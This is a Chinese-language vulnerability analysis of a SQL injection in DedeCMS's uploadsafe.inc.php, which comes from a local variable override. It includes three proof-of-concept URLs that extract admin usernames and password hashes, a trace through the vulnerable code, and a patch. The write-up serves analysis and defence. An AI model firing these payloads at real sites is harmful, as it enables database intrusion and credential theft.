1. 漏洞描述
1 . dedecms原生提供一个 " 本地变量注册 " 的模拟实现,原则上允许黑客覆盖任意变量 2 . dedecms在实现本地变量注册的时候,会对$_GET、$_POST、$_COOKIE等的value值进行addslash转移过滤处理 // $key值注入不在本文讨论范围内,详情参阅: http://www.cnblogs.com/LittleHann/p/4505694.html 3 . 在处理文件上传的逻辑中,存在一条攻击路径,程序自己 " 反处理 " 了addslash逻辑,使用于闭合的单引号重新获得攻击效果,造成SQL注入
Relevant Link:
http: // 0day5.com/archives/1346
2. 漏洞触发条件
0x1: POC1
plus/recommend.php?action=&aid= 1 &_FILES[type][tmp_name]=\% 27 %20or%20mid=@`\% 27 `% 20 /* !50000union *//* !50000select */ 1 , 2 , 3 ,( select %20CONCAT( 0x7c ,userid, 0x7c ,pwd)+ from +`% 23 @__admin`%20limit+ 0 , 1 ), 5 , 6 , 7 , 8 , 9 % 23 @`\% 27 `+&_FILES[type][name]= 1 .jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]= 4294 ?action= &aid= 1 &_FILES[type][tmp_name]=\% 27 %20or%20mid=@`\% 27 `% 20 /* !50000union *//* !50000select */ 1 , 2 , 3 ,( select %20CONCAT( 0x7c ,userid, 0x7c ,pwd)+ from +`% 23 @__admin`%20limit+ 0 , 1 ), 5 , 6 , 7 , 8 , 9 % 23 @`\% 27 `+ &_FILES[type][name]= 1 .jpg &_FILES[type][type]=application/octet- stream &_FILES[type][size]= 4294
0x2: POC2
http: // DEDD/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\‘ or mid=@`\‘` /*!50000union* // *!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin` limit+0,1),5,6,7,8,9%23@`\‘`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=6873
0x3: POC3
http: //DEDE /plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa\‘and+char(@`‘`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,group_concat(userid,0x23,pwd),5,6,7,8,9 from `%23@__admin`%23
0x4: POC入侵方式
1 . 原始数据 \ % 27 %20or%20mid=@`\% 27 `% 20 /* !50000union *//* !50000select */ 1 , 2 , 3 ,( select %20CONCAT( 0x7c ,userid, 0x7c ,pwd)+ from +`% 23 @__admin`%20limit+ 0 , 1 ), 5 , 6 , 7 , 8 , 9 % 23 @`\% 27 `+ 2 .URL提交进来后,\ 和 ’ 分别被转义成 \\ 和 \’ \\\ ‘ or mid=@`\\\‘`/*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from`#@__admin` limit 0,1),5,6,7,8,9#@`\\\‘` 3 .URL被带入include/ common.inc.php中检查,此步数据未发生变化 4 .然后来到了include/ uploadsafe.inc.php中,经过第行str_replace后,\\被过滤成了\,用于攻击闭合的单引号重新获得攻击能力 $$_key = $_FILES[$_key][ ‘ tmp_name ‘ ] =str_replace( " \\\\ " , " \\ " , $_FILES[$_key][ ‘ tmp_name ‘ ]); \\ ‘ or mid=@`\\ ‘ ` /* !50000union *//* !50000select */ 1 , 2 , 3 ,( select CONCAT( 0x7c ,userid, 0x7c ,pwd) from `#@__admin` limit 0 , 1 ), 5 , 6 , 7 , 8 , 9 #@`\\ ‘ ` 此时引号被成功的带入了查询语句中 5 .回到plus/ recommend.php中,第38行,此时SQL语句被拼成如下: SELECT s. *,t.* FROM `#@_member_stow` AS sLEFT JOIN `#@__member_stowtype` AS t ON s.type=t.stowname WHERE s.aid= ‘ 1 ‘ ANDs.type= ‘ \\ ‘ or mid=@`\\ ‘ ` /*!50000union*//*!50000select*/1,2,3,(selectCONCAT(0x7c,userid,0x7c,pwd) from `#@__admin` limit 0,1),5,6,7,8,9#@`\\ ‘ ` ‘
Relevant Link:
http: // www.xuebuyuan.com/2095280.html http: // 0day5.com/archives/1346 http: // loudong.360.cn/blog/view/id/17
3. 漏洞影响范围
4. 漏洞代码分析
从/plus/recommand.php开始逐步分析
require_once(dirname(__FILE__). " /include/common.inc.php " ); ..
/include/common.inc.php
.. function _RunMagicQuotes( & $svar) { if (! get_magic_quotes_gpc()) { if ( is_array($svar) ) { foreach ($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v); } else { if ( strlen($svar)> 0 && preg_match( ‘ #^(cfg_|GLOBALS|_GET|_POST|_COOKIE)# ‘ ,$svar) ) { exit( ‘ Request var not allow! ‘ ); } $svar = addslashes($svar); } } return $svar; } ..
只要提交的URL中不包含cfg_|GLOBALS|_GET|_POST|_COOKIE,即可通过检查,_FILES[type][tmp_name]被带入
引发漏洞的入口点在/include/uploadsafe.inc.php
.. // 转换上传的文件相关的变量及安全处理、并引用前台通用的上传函数 if ($_FILES) { require_once(DEDEINC. ‘ /uploadsafe.inc.php ‘ ); } ..
/include/uploadsafe.inc.php
.. // URL参数中的_FILES[type][tmp_name],$_key为type,$$_key即为$type,从而导致了$type变量的覆盖 $$_key = $_FILES[$_key][ ‘ tmp_name ‘ ] = str_replace( " \\\\ " , " \\ " ,$_FILES[$_key][ ‘ tmp_name ‘ ]); ${$_key. ‘ _name ‘ } = $_FILES[$_key][ ‘ name ‘ ]; ${$_key. ‘ _type ‘ } = $_FILES[$_key][ ‘ type ‘ ] = eregi_replace( ‘ [^0-9a-z\./] ‘ , ‘‘ ,$_FILES[$_key][ ‘ type ‘ ]); ${$_key. ‘ _size ‘ } = $_FILES[$_key][ ‘ size ‘ ] = ereg_replace( ‘ [^0-9] ‘ , ‘‘ ,$_FILES[$_key][ ‘ size ‘ ]); ..
/plus/recommand.php
// 读取文档信息 if ($action== ‘‘ ) { if ($type== ‘ sys ‘ ){ // 读取文档信息 $arcRow = GetOneArchive($aid); if ($arcRow[ ‘ aid ‘ ]== ‘‘ ) { ShowMsg( " 无法把未知文档推荐给好友! " , " -1 " ); exit(); } extract($arcRow, EXTR_OVERWRITE); } else { // 注入语句被带入数据库查询, $arcRow=$dsql->GetOne( " SELECT s.*,t.* FROM `#@__member_stow` AS s LEFT JOIN `#@__member_stowtype` AS t ON s.type=t.stowname WHERE s.aid=‘$aid‘ AND s.type=‘$type‘ " ); if (! is_array($arcRow)){ ShowMsg( " 无法把未知文档推荐给好友! " , " -1 " ); exit(); } $arcRow[ ‘ arcurl ‘ ]=$arcRow[ ‘ indexurl ‘ ]. " = " .$arcRow[ ‘ aid ‘ ]; extract($arcRow, EXTR_OVERWRITE); } }
5. 防御方法
/include/uploadsafe.inc.php
/* */ // $$_key = $_FILES[$_key][‘tmp_name‘] = str_replace("\\\\","\\",$_FILES[$_key][‘tmp_name‘]); $$_key = $_FILES[$_key][ ‘ tmp_name ‘ ]; /* */ ${$_key. ‘ _name ‘ } = $_FILES[$_key][ ‘ name ‘ ]; ${$_key. ‘ _type ‘ } = $_FILES[$_key][ ‘ type ‘ ] = preg_replace( ‘ #[^0-9a-z\./]#i ‘ , ‘‘ , $_FILES[$_key][ ‘ type ‘ ]); ${$_key. ‘ _size ‘ } = $_FILES[$_key][ ‘ size ‘ ] = preg_replace( ‘ #[^0-9]# ‘ , ‘‘ ,$_FILES[$_key][ ‘ size ‘ ]); if (!empty(${$_key. ‘ _name ‘ }) && (preg_match( " #\.( " .$cfg_not_allowall. " )$#i " ,${$_key. ‘ _name ‘ }) || !preg_match( " #\.# " , ${$_key. ‘ _name ‘ })) ) { if (!defined( ‘ DEDEADMIN ‘ )) { exit( ‘ Not Admin Upload filetype not allow ! ‘ ); } } if (empty(${$_key. ‘ _size ‘ })) { ${$_key. ‘ _size ‘ } = @filesize($$_key); } /* 限制上传文件类型 */ $imtypes = array ( " image/pjpeg " , " image/jpeg " , " image/gif " , " image/png " , " image/xpng " , " image/wbmp " , " image/bmp " ); if (in_array(strtolower(trim(${$_key. ‘ _type ‘ })), $imtypes)) { $image_dd = @getimagesize($$_key); if (! is_array($image_dd)) { exit( ‘ Upload filetype not allow ! ‘ ); } } /* */
6. 攻防思考
Copyright (c) 2015 LittleHann All rights reserved
dedecms /include/uploadsafe.inc.php SQL Injection Via Local Variable Overriding Vul
标签:
查看更多关于dedecms /include/uploadsafe.inc.php SQL Injection的详细内容...